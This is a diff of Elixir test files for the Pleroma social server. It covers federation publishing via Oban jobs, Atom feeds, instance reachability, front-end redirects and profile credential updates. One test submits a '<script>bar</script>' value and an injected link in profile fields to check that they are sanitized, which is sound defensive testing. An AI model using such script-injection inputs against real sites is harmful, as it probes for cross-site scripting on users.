+ assert Utils.attachments_from_ids(%{"media_ids" => ["#{object.id}"]}) == [object.data]
+ end
+
+ test "returns [] when not pass media_ids" do
+ assert Utils.attachments_from_ids(%{}) == []
+ end
+ end
+
+ describe "maybe_add_list_data/3" do
+ test "adds list params when found user list" do
+ user = insert(:user)
+ {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user)
+
+ assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) ==
+ %{
+ additional: %{"bcc" => [list.ap_id], "listMessage" => list.ap_id},
+ object: %{"listMessage" => list.ap_id}
+ }
+ end
+
+ test "returns original params when list not found" do
+ user = insert(:user)
+ {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", insert(:user))
+
+ assert Utils.maybe_add_list_data(%{additional: %{}, object: %{}}, user, {:list, list.id}) ==
+ %{additional: %{}, object: %{}}
+ end
+ end
+
+ describe "make_note_data/11" do
+ test "returns note data" do
+ user = insert(:user)
+ note = insert(:note)
+ user2 = insert(:user)
+ user3 = insert(:user)
+
+ assert Utils.make_note_data(
+ user.ap_id,
+ [user2.ap_id],
+ "2hu",
+ "<h1>This is :moominmamma: note</h1>",
+ [],
+ note.id,
+ [name: "jimm"],
+ "test summary",
+ [user3.ap_id],
+ false,
+ %{"custom_tag" => "test"}
+ ) == %{
+ "actor" => user.ap_id,
+ "attachment" => [],
+ "cc" => [user3.ap_id],
+ "content" => "<h1>This is :moominmamma: note</h1>",
+ "context" => "2hu",
+ "sensitive" => false,
+ "summary" => "test summary",
+ "tag" => ["jimm"],
+ "to" => [user2.ap_id],
+ "type" => "Note",
+ "custom_tag" => "test"
+ }
+ end
+ end
+
+ describe "maybe_add_attachments/3" do
+ test "returns parsed results when no_links is true" do
+ assert Utils.maybe_add_attachments(
+ {"test", [], ["tags"]},
+ [],
+ true
+ ) == {"test", [], ["tags"]}
+ end
+
+ test "adds attachments to parsed results" do
+ attachment = %{"url" => [%{"href" => "SakuraPM.png"}]}
+
+ assert Utils.maybe_add_attachments(
+ {"test", [], ["tags"]},
+ [attachment],
+ false
+ ) == {
+ "test<br><a href=\"SakuraPM.png\" class='attachment'>SakuraPM.png</a>",
+ [],
+ ["tags"]
+ }
+ end
+ end
end
diff --git a/test/web/fallback_test.exs b/test/web/fallback_test.exs
index cc78b3ae1..c13db9526 100644
--- a/test/web/fallback_test.exs
+++ b/test/web/fallback_test.exs
@@ -30,6 +30,10 @@ defmodule Pleroma.Web.FallbackTest do
|> json_response(404) == %{"error" => "Not implemented"}
end
+ test "GET /pleroma/admin -> /pleroma/admin/", %{conn: conn} do
+ assert redirected_to(get(conn, "/pleroma/admin")) =~ "/pleroma/admin/"
+ end
+
test "GET /*path", %{conn: conn} do
assert conn
|> get("/foo")
diff --git a/test/web/federator_test.exs b/test/web/federator_test.exs
index 69dd4d747..c224197c3 100644
--- a/test/web/federator_test.exs
+++ b/test/web/federator_test.exs
@@ -1,27 +1,34 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.FederatorTest do
alias Pleroma.Instances
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Federator
+ alias Pleroma.Workers.PublisherWorker
+
use Pleroma.DataCase
+ use Oban.Testing, repo: Pleroma.Repo
+
import Pleroma.Factory
import Mock
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
- config_path = [:instance, :federating]
- initial_setting = Pleroma.Config.get(config_path)
-
- Pleroma.Config.put(config_path, true)
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
-
:ok
end
+ clear_config_all([:instance, :federating]) do
+ Pleroma.Config.put([:instance, :federating], true)
+ end
+
+ clear_config([:instance, :allow_relay])
+ clear_config([:instance, :rewrite_policy])
+ clear_config([:mrf_keyword])
+
describe "Publish an activity" do
setup do
user = insert(:user)
@@ -42,6 +49,7 @@ defmodule Pleroma.Web.FederatorTest do
} do
with_mocks([relay_mock]) do
Federator.publish(activity)
+ ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
end
assert_received :relay_publish
@@ -55,19 +63,15 @@ defmodule Pleroma.Web.FederatorTest do
with_mocks([relay_mock]) do
Federator.publish(activity)
+ ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
end
refute_received :relay_publish
-
- Pleroma.Config.put([:instance, :allow_relay], true)
end
end
describe "Targets reachability filtering in `publish`" do
- test_with_mock "it federates only to reachable instances via AP",
- Pleroma.Web.ActivityPub.Publisher,
- [:passthrough],
- [] do
+ test "it federates only to reachable instances via AP" do
user = insert(:user)
{inbox1, inbox2} =
@@ -77,14 +81,16 @@ defmodule Pleroma.Web.FederatorTest do
local: false,
nickname: "nick1@domain.com",
ap_id: "https://domain.com/users/nick1",
- info: %{ap_enabled: true, source_data: %{"inbox" => inbox1}}
+ source_data: %{"inbox" => inbox1},
+ ap_enabled: true
})
insert(:user, %{
local: false,
nickname: "nick2@domain2.com",
ap_id: "https://domain2.com/users/nick2",
- info: %{ap_enabled: true, source_data: %{"inbox" => inbox2}}
+ source_data: %{"inbox" => inbox2},
+ ap_enabled: true
})
dt = NaiveDateTime.utc_now()
@@ -95,92 +101,17 @@ defmodule Pleroma.Web.FederatorTest do
{:ok, _activity} =
CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"})
- assert called(
- Pleroma.Web.ActivityPub.Publisher.publish_one(%{
- inbox: inbox1,
- unreachable_since: dt
- })
- )
-
- refute called(Pleroma.Web.ActivityPub.Publisher.publish_one(%{inbox: inbox2}))
- end
+ expected_dt = NaiveDateTime.to_iso8601(dt)
- test_with_mock "it federates only to reachable instances via Websub",
- Pleroma.Web.Websub,
- [:passthrough],
- [] do
- user = insert(:user)
- websub_topic = Pleroma.Web.OStatus.feed_path(user)
-
- sub1 =
- insert(:websub_subscription, %{
- topic: websub_topic,
- state: "active",
- callback: "http://pleroma.soykaf.com/cb"
- })
-
- sub2 =
- insert(:websub_subscription, %{
- topic: websub_topic,
- state: "active",
- callback: "https://pleroma2.soykaf.com/cb"
- })
-
- dt = NaiveDateTime.utc_now()
- Instances.set_unreachable(sub2.callback, dt)
+ ObanHelpers.perform(all_enqueued(worker: PublisherWorker))
- Instances.set_consistently_unreachable(sub1.callback)
-
- {:ok, _activity} = CommonAPI.post(user, %{"status" => "HI"})
-
- assert called(
- Pleroma.Web.Websub.publish_one(%{
- callback: sub2.callback,
- unreachable_since: dt
- })
+ assert ObanHelpers.member?(
+ %{
+ "op" => "publish_one",
+ "params" => %{"inbox" => inbox1, "unreachable_since" => expected_dt}
+ },
+ all_enqueued(worker: PublisherWorker)
)
-
- refute called(Pleroma.Web.Websub.publish_one(%{callback: sub1.callback}))
- end
-
- test_with_mock "it federates only to reachable instances via Salmon",
- Pleroma.Web.Salmon,
- [:passthrough],
- [] do
- user = insert(:user)
-
- remote_user1 =
- insert(:user, %{
- local: false,
- nickname: "nick1@domain.com",
- ap_id: "https://domain.com/users/nick1",
- info: %{salmon: "https://domain.com/salmon"}
- })
-
- remote_user2 =
- insert(:user, %{
- local: false,
- nickname: "nick2@domain2.com",
- ap_id: "https://domain2.com/users/nick2",
- info: %{salmon: "https://domain2.com/salmon"}
- })
-
- dt = NaiveDateTime.utc_now()
- Instances.set_unreachable(remote_user2.ap_id, dt)
-
- Instances.set_consistently_unreachable("domain.com")
-
- {:ok, _activity} =
- CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"})
-
- assert called(
- Pleroma.Web.Salmon.publish_one(%{
- recipient: remote_user2,
- unreachable_since: dt
- })
- )
-
- refute called(Pleroma.Web.Salmon.publish_one(%{recipient: remote_user1}))
end
end
@@ -200,7 +131,8 @@ defmodule Pleroma.Web.FederatorTest do
"to" => ["https://www.w3.org/ns/activitystreams#Public"]
}
- {:ok, _activity} = Federator.incoming_ap_doc(params)
+ assert {:ok, job} = Federator.incoming_ap_doc(params)
+ assert {:ok, _activity} = ObanHelpers.perform(job)
end
test "rejects incoming AP docs with incorrect origin" do
@@ -218,7 +150,24 @@ defmodule Pleroma.Web.FederatorTest do
"to" => ["https://www.w3.org/ns/activitystreams#Public"]
}
- :error = Federator.incoming_ap_doc(params)
+ assert {:ok, job} = Federator.incoming_ap_doc(params)
+ assert :error = ObanHelpers.perform(job)
+ end
+
+ test "it does not crash if MRF rejects the post" do
+ Pleroma.Config.put([:mrf_keyword, :reject], ["lain"])
+
+ Pleroma.Config.put(
+ [:instance, :rewrite_policy],
+ Pleroma.Web.ActivityPub.MRF.KeywordPolicy
+ )
+
+ params =
+ File.read!("test/fixtures/mastodon-post-activity.json")
+ |> Poison.decode!()
+
+ assert {:ok, job} = Federator.incoming_ap_doc(params)
+ assert :error = ObanHelpers.perform(job)
end
end
end
diff --git a/test/web/feed/feed_controller_test.exs b/test/web/feed/feed_controller_test.exs
new file mode 100644
index 000000000..6f61acf43
--- /dev/null
+++ b/test/web/feed/feed_controller_test.exs
@@ -0,0 +1,251 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.Feed.FeedControllerTest do
+ use Pleroma.Web.ConnCase
+
+ import Pleroma.Factory
+ import SweetXml
+
+ alias Pleroma.Object
+ alias Pleroma.User
+
+ clear_config([:feed])
+
+ test "gets a feed", %{conn: conn} do
+ Pleroma.Config.put(
+ [:feed, :post_title],
+ %{max_length: 10, omission: "..."}
+ )
+
+ activity = insert(:note_activity)
+
+ note =
+ insert(:note,
+ data: %{
+ "content" => "This is :moominmamma: note ",
+ "attachment" => [
+ %{
+ "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"}]
+ }
+ ],
+ "inReplyTo" => activity.data["id"]
+ }
+ )
+
+ note_activity = insert(:note_activity, note: note)
+ user = User.get_cached_by_ap_id(note_activity.data["actor"])
+
+ note2 =
+ insert(:note,
+ user: user,
+ data: %{"content" => "42 This is :moominmamma: note ", "inReplyTo" => activity.data["id"]}
+ )
+
+ _note_activity2 = insert(:note_activity, note: note2)
+ object = Object.normalize(note_activity)
+
+ resp =
+ conn
+ |> put_req_header("content-type", "application/atom+xml")
+ |> get("/users/#{user.nickname}/feed.atom")
+ |> response(200)
+
+ activity_titles =
+ resp
+ |> SweetXml.parse()
+ |> SweetXml.xpath(~x"//entry/title/text()"l)
+
+ assert activity_titles == ['42 This...', 'This is...']
+ assert resp =~ object.data["content"]
+ end
+
+ test "returns 404 for a missing feed", %{conn: conn} do
+ conn =
+ conn
+ |> put_req_header("content-type", "application/atom+xml")
+ |> get("/users/nonexisting/feed.atom")
+
+ assert response(conn, 404)
+ end
+
+ describe "feed_redirect" do
+ test "undefined format. it redirects to feed", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ user = User.get_cached_by_ap_id(note_activity.data["actor"])
+
+ response =
+ conn
+ |> put_req_header("accept", "application/xml")
+ |> get("/users/#{user.nickname}")
+ |> response(302)
+
+ assert response ==
+ "<html><body>You are being <a href=\"#{Pleroma.Web.base_url()}/users/#{
+ user.nickname
+ }/feed.atom\">redirected</a>.</body></html>"
+ end
+
+ test "undefined format. it returns error when user not found", %{conn: conn} do
+ response =
+ conn
+ |> put_req_header("accept", "application/xml")
+ |> get("/users/jimm")
+ |> response(404)
+
+ assert response == ~S({"error":"Not found"})
+ end
+
+ test "activity+json format. it redirects on actual feed of user", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ user = User.get_cached_by_ap_id(note_activity.data["actor"])
+
+ response =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/users/#{user.nickname}")
+ |> json_response(200)
+
+ assert response["endpoints"] == %{
+ "oauthAuthorizationEndpoint" => "#{Pleroma.Web.base_url()}/oauth/authorize",
+ "oauthRegistrationEndpoint" => "#{Pleroma.Web.base_url()}/api/v1/apps",
+ "oauthTokenEndpoint" => "#{Pleroma.Web.base_url()}/oauth/token",
+ "sharedInbox" => "#{Pleroma.Web.base_url()}/inbox",
+ "uploadMedia" => "#{Pleroma.Web.base_url()}/api/ap/upload_media"
+ }
+
+ assert response["@context"] == [
+ "https://www.w3.org/ns/activitystreams",
+ "http://localhost:4001/schemas/litepub-0.1.jsonld",
+ %{"@language" => "und"}
+ ]
+
+ assert Map.take(response, [
+ "followers",
+ "following",
+ "id",
+ "inbox",
+ "manuallyApprovesFollowers",
+ "name",
+ "outbox",
+ "preferredUsername",
+ "summary",
+ "tag",
+ "type",
+ "url"
+ ]) == %{
+ "followers" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}/followers",
+ "following" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}/following",
+ "id" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}",
+ "inbox" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}/inbox",
+ "manuallyApprovesFollowers" => false,
+ "name" => user.name,
+ "outbox" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}/outbox",
+ "preferredUsername" => user.nickname,
+ "summary" => user.bio,
+ "tag" => [],
+ "type" => "Person",
+ "url" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}"
+ }
+ end
+
+ test "activity+json format. it returns error whe use not found", %{conn: conn} do
+ response =
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> get("/users/jimm")
+ |> json_response(404)
+
+ assert response == "Not found"
+ end
+
+ test "json format. it redirects on actual feed of user", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ user = User.get_cached_by_ap_id(note_activity.data["actor"])
+
+ response =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> get("/users/#{user.nickname}")
+ |> json_response(200)
+
+ assert response["endpoints"] == %{
+ "oauthAuthorizationEndpoint" => "#{Pleroma.Web.base_url()}/oauth/authorize",
+ "oauthRegistrationEndpoint" => "#{Pleroma.Web.base_url()}/api/v1/apps",
+ "oauthTokenEndpoint" => "#{Pleroma.Web.base_url()}/oauth/token",
+ "sharedInbox" => "#{Pleroma.Web.base_url()}/inbox",
+ "uploadMedia" => "#{Pleroma.Web.base_url()}/api/ap/upload_media"
+ }
+
+ assert response["@context"] == [
+ "https://www.w3.org/ns/activitystreams",
+ "http://localhost:4001/schemas/litepub-0.1.jsonld",
+ %{"@language" => "und"}
+ ]
+
+ assert Map.take(response, [
+ "followers",
+ "following",
+ "id",
+ "inbox",
+ "manuallyApprovesFollowers",
+ "name",
+ "outbox",
+ "preferredUsername",
+ "summary",
+ "tag",
+ "type",
+ "url"
+ ]) == %{
+ "followers" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}/followers",
+ "following" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}/following",
+ "id" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}",
+ "inbox" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}/inbox",
+ "manuallyApprovesFollowers" => false,
+ "name" => user.name,
+ "outbox" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}/outbox",
+ "preferredUsername" => user.nickname,
+ "summary" => user.bio,
+ "tag" => [],
+ "type" => "Person",
+ "url" => "#{Pleroma.Web.base_url()}/users/#{user.nickname}"
+ }
+ end
+
+ test "json format. it returns error whe use not found", %{conn: conn} do
+ response =
+ conn
+ |> put_req_header("accept", "application/json")
+ |> get("/users/jimm")
+ |> json_response(404)
+
+ assert response == "Not found"
+ end
+
+ test "html format. it redirects on actual feed of user", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ user = User.get_cached_by_ap_id(note_activity.data["actor"])
+
+ response =
+ conn
+ |> get("/users/#{user.nickname}")
+ |> response(200)
+
+ assert response ==
+ Fallback.RedirectController.redirector_with_meta(
+ conn,
+ %{user: user}
+ ).resp_body
+ end
+
+ test "html format. it returns error when user not found", %{conn: conn} do
+ response =
+ conn
+ |> get("/users/jimm")
+ |> json_response(404)
+
+ assert response == %{"error" => "Not found"}
+ end
+ end
+end
diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs
index d28730994..e54d708ad 100644
--- a/test/web/instances/instance_test.exs
+++ b/test/web/instances/instance_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Instances.InstanceTest do
@@ -10,19 +10,14 @@ defmodule Pleroma.Instances.InstanceTest do
import Pleroma.Factory
- setup_all do
- config_path = [:instance, :federation_reachability_timeout_days]
- initial_setting = Pleroma.Config.get(config_path)
-
- Pleroma.Config.put(config_path, 1)
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
-
- :ok
+ clear_config_all([:instance, :federation_reachability_timeout_days]) do
+ Pleroma.Config.put([:instance, :federation_reachability_timeout_days], 1)
end
describe "set_reachable/1" do
test "clears `unreachable_since` of existing matching Instance record having non-nil `unreachable_since`" do
- instance = insert(:instance, unreachable_since: NaiveDateTime.utc_now())
+ unreachable_since = NaiveDateTime.to_iso8601(NaiveDateTime.utc_now())
+ instance = insert(:instance, unreachable_since: unreachable_since)
assert {:ok, instance} = Instance.set_reachable(instance.host)
refute instance.unreachable_since
diff --git a/test/web/instances/instances_test.exs b/test/web/instances/instances_test.exs
index f0d84edea..65b03b155 100644
--- a/test/web/instances/instances_test.exs
+++ b/test/web/instances/instances_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.InstancesTest do
@@ -7,14 +7,8 @@ defmodule Pleroma.InstancesTest do
use Pleroma.DataCase
- setup_all do
- config_path = [:instance, :federation_reachability_timeout_days]
- initial_setting = Pleroma.Config.get(config_path)
-
- Pleroma.Config.put(config_path, 1)
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
-
- :ok
+ clear_config_all([:instance, :federation_reachability_timeout_days]) do
+ Pleroma.Config.put([:instance, :federation_reachability_timeout_days], 1)
end
describe "reachable?/1" do
diff --git a/test/web/masto_fe_controller_test.exs b/test/web/masto_fe_controller_test.exs
new file mode 100644
index 000000000..f9870a852
--- /dev/null
+++ b/test/web/masto_fe_controller_test.exs
@@ -0,0 +1,85 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.MastoFEController do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Config
+ alias Pleroma.User
+
+ import Pleroma.Factory
+
+ clear_config([:instance, :public])
+
+ test "put settings", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:accounts"]))
+ |> put("/api/web/settings", %{"data" => %{"programming" => "socks"}})
+
+ assert _result = json_response(conn, 200)
+
+ user = User.get_cached_by_ap_id(user.ap_id)
+ assert user.settings == %{"programming" => "socks"}
+ end
+
+ describe "index/2 redirections" do
+ setup %{conn: conn} do
+ session_opts = [
+ store: :cookie,
+ key: "_test",
+ signing_salt: "cooldude"
+ ]
+
+ conn =
+ conn
+ |> Plug.Session.call(Plug.Session.init(session_opts))
+ |> fetch_session()
+
+ test_path = "/web/statuses/test"
+ %{conn: conn, path: test_path}
+ end
+
+ test "redirects not logged-in users to the login page", %{conn: conn, path: path} do
+ conn = get(conn, path)
+
+ assert conn.status == 302
+ assert redirected_to(conn) == "/web/login"
+ end
+
+ test "redirects not logged-in users to the login page on private instances", %{
+ conn: conn,
+ path: path
+ } do
+ Config.put([:instance, :public], false)
+
+ conn = get(conn, path)
+
+ assert conn.status == 302
+ assert redirected_to(conn) == "/web/login"
+ end
+
+ test "does not redirect logged in users to the login page", %{conn: conn, path: path} do
+ token = insert(:oauth_token, scopes: ["read"])
+
+ conn =
+ conn
+ |> assign(:user, token.user)
+ |> assign(:token, token)
+ |> get(path)
+
+ assert conn.status == 200
+ end
+
+ test "saves referer path to session", %{conn: conn, path: path} do
+ conn = get(conn, path)
+ return_to = Plug.Conn.get_session(conn, :return_to)
+
+ assert return_to == path
+ end
+ end
+end
diff --git a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs
new file mode 100644
index 000000000..09bdc46e0
--- /dev/null
+++ b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs
@@ -0,0 +1,360 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
+ alias Pleroma.Repo
+ alias Pleroma.User
+
+ use Pleroma.Web.ConnCase
+
+ import Pleroma.Factory
+ clear_config([:instance, :max_account_fields])
+
+ describe "updating credentials" do
+ setup do: oauth_access(["write:accounts"])
+
+ test "sets user settings in a generic way", %{conn: conn} do
+ res_conn =
+ patch(conn, "/api/v1/accounts/update_credentials", %{
+ "pleroma_settings_store" => %{
+ pleroma_fe: %{
+ theme: "bla"
+ }
+ }
+ })
+
+ assert user_data = json_response(res_conn, 200)
+ assert user_data["pleroma"]["settings_store"] == %{"pleroma_fe" => %{"theme" => "bla"}}
+
+ user = Repo.get(User, user_data["id"])
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> patch("/api/v1/accounts/update_credentials", %{
+ "pleroma_settings_store" => %{
+ masto_fe: %{
+ theme: "bla"
+ }
+ }
+ })
+
+ assert user_data = json_response(res_conn, 200)
+
+ assert user_data["pleroma"]["settings_store"] ==
+ %{
+ "pleroma_fe" => %{"theme" => "bla"},
+ "masto_fe" => %{"theme" => "bla"}
+ }
+
+ user = Repo.get(User, user_data["id"])
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> patch("/api/v1/accounts/update_credentials", %{
+ "pleroma_settings_store" => %{
+ masto_fe: %{
+ theme: "blub"
+ }
+ }
+ })
+
+ assert user_data = json_response(res_conn, 200)
+
+ assert user_data["pleroma"]["settings_store"] ==
+ %{
+ "pleroma_fe" => %{"theme" => "bla"},
+ "masto_fe" => %{"theme" => "blub"}
+ }
+ end
+
+ test "updates the user's bio", %{conn: conn} do
+ user2 = insert(:user)
+
+ conn =
+ patch(conn, "/api/v1/accounts/update_credentials", %{
+ "note" => "I drink #cofe with @#{user2.nickname}"
+ })
+
+ assert user_data = json_response(conn, 200)
+
+ assert user_data["note"] ==
+ ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe">#cofe</a> with <span class="h-card"><a data-user="#{
+ user2.id
+ }" class="u-url mention" href="#{user2.ap_id}" rel="ugc">@<span>#{user2.nickname}</span></a></span>)
+ end
+
+ test "updates the user's locking status", %{conn: conn} do
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"})
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["locked"] == true
+ end
+
+ test "updates the user's allow_following_move", %{user: user, conn: conn} do
+ assert user.allow_following_move == true
+
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{allow_following_move: "false"})
+
+ assert refresh_record(user).allow_following_move == false
+ assert user_data = json_response(conn, 200)
+ assert user_data["pleroma"]["allow_following_move"] == false
+ end
+
+ test "updates the user's default scope", %{conn: conn} do
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{default_scope: "cofe"})
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["source"]["privacy"] == "cofe"
+ end
+
+ test "updates the user's hide_followers status", %{conn: conn} do
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_followers: "true"})
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["pleroma"]["hide_followers"] == true
+ end
+
+ test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do
+ conn =
+ patch(conn, "/api/v1/accounts/update_credentials", %{
+ hide_followers_count: "true",
+ hide_follows_count: "true"
+ })
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["pleroma"]["hide_followers_count"] == true
+ assert user_data["pleroma"]["hide_follows_count"] == true
+ end
+
+ test "updates the user's skip_thread_containment option", %{user: user, conn: conn} do
+ response =
+ conn
+ |> patch("/api/v1/accounts/update_credentials", %{skip_thread_containment: "true"})
+ |> json_response(200)
+
+ assert response["pleroma"]["skip_thread_containment"] == true
+ assert refresh_record(user).skip_thread_containment
+ end
+
+ test "updates the user's hide_follows status", %{conn: conn} do
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_follows: "true"})
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["pleroma"]["hide_follows"] == true
+ end
+
+ test "updates the user's hide_favorites status", %{conn: conn} do
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_favorites: "true"})
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["pleroma"]["hide_favorites"] == true
+ end
+
+ test "updates the user's show_role status", %{conn: conn} do
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{show_role: "false"})
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["source"]["pleroma"]["show_role"] == false
+ end
+
+ test "updates the user's no_rich_text status", %{conn: conn} do
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{no_rich_text: "true"})
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["source"]["pleroma"]["no_rich_text"] == true
+ end
+
+ test "updates the user's name", %{conn: conn} do
+ conn =
+ patch(conn, "/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"})
+
+ assert user_data = json_response(conn, 200)
+ assert user_data["display_name"] == "markorepairs"
+ end
+
+ test "updates the user's avatar", %{user: user, conn: conn} do
+ new_avatar = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => new_avatar})
+
+ assert user_response = json_response(conn, 200)
+ assert user_response["avatar"] != User.avatar_url(user)
+ end
+
+ test "updates the user's banner", %{user: user, conn: conn} do
+ new_header = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ conn = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => new_header})
+
+ assert user_response = json_response(conn, 200)
+ assert user_response["header"] != User.banner_url(user)
+ end
+
+ test "updates the user's background", %{conn: conn} do
+ new_header = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ conn =
+ patch(conn, "/api/v1/accounts/update_credentials", %{
+ "pleroma_background_image" => new_header
+ })
+
+ assert user_response = json_response(conn, 200)
+ assert user_response["pleroma"]["background_image"]
+ end
+
+ test "requires 'write:accounts' permission" do
+ token1 = insert(:oauth_token, scopes: ["read"])
+ token2 = insert(:oauth_token, scopes: ["write", "follow"])
+
+ for token <- [token1, token2] do
+ conn =
+ build_conn()
+ |> put_req_header("authorization", "Bearer #{token.token}")
+ |> patch("/api/v1/accounts/update_credentials", %{})
+
+ if token == token1 do
+ assert %{"error" => "Insufficient permissions: write:accounts."} ==
+ json_response(conn, 403)
+ else
+ assert json_response(conn, 200)
+ end
+ end
+ end
+
+ test "updates profile emojos", %{user: user, conn: conn} do
+ note = "*sips :blank:*"
+ name = "I am :firefox:"
+
+ ret_conn =
+ patch(conn, "/api/v1/accounts/update_credentials", %{
+ "note" => note,
+ "display_name" => name
+ })
+
+ assert json_response(ret_conn, 200)
+
+ conn = get(conn, "/api/v1/accounts/#{user.id}")
+
+ assert user_data = json_response(conn, 200)
+
+ assert user_data["note"] == note
+ assert user_data["display_name"] == name
+ assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = user_data["emojis"]
+ end
+
+ test "update fields", %{conn: conn} do
+ fields = [
+ %{"name" => "<a href=\"http://google.com\">foo</a>", "value" => "<script>bar</script>"},
+ %{"name" => "link", "value" => "cofe.io"}
+ ]
+
+ account_data =
+ conn
+ |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
+ |> json_response(200)
+
+ assert account_data["fields"] == [
+ %{"name" => "foo", "value" => "bar"},
+ %{"name" => "link", "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>)}
+ ]
+
+ assert account_data["source"]["fields"] == [
+ %{
+ "name" => "<a href=\"http://google.com\">foo</a>",
+ "value" => "<script>bar</script>"
+ },
+ %{"name" => "link", "value" => "cofe.io"}
+ ]
+
+ fields =
+ [
+ "fields_attributes[1][name]=link",
+ "fields_attributes[1][value]=cofe.io",
+ "fields_attributes[0][name]=<a href=\"http://google.com\">foo</a>",
+ "fields_attributes[0][value]=bar"
+ ]
+ |> Enum.join("&")
+
+ account =
+ conn
+ |> put_req_header("content-type", "application/x-www-form-urlencoded")
+ |> patch("/api/v1/accounts/update_credentials", fields)
+ |> json_response(200)
+
+ assert account["fields"] == [
+ %{"name" => "foo", "value" => "bar"},
+ %{"name" => "link", "value" => ~S(<a href="http://cofe.io" rel="ugc">cofe.io</a>)}
+ ]
+
+ assert account["source"]["fields"] == [
+ %{
+ "name" => "<a href=\"http://google.com\">foo</a>",
+ "value" => "bar"
+ },
+ %{"name" => "link", "value" => "cofe.io"}
+ ]
+
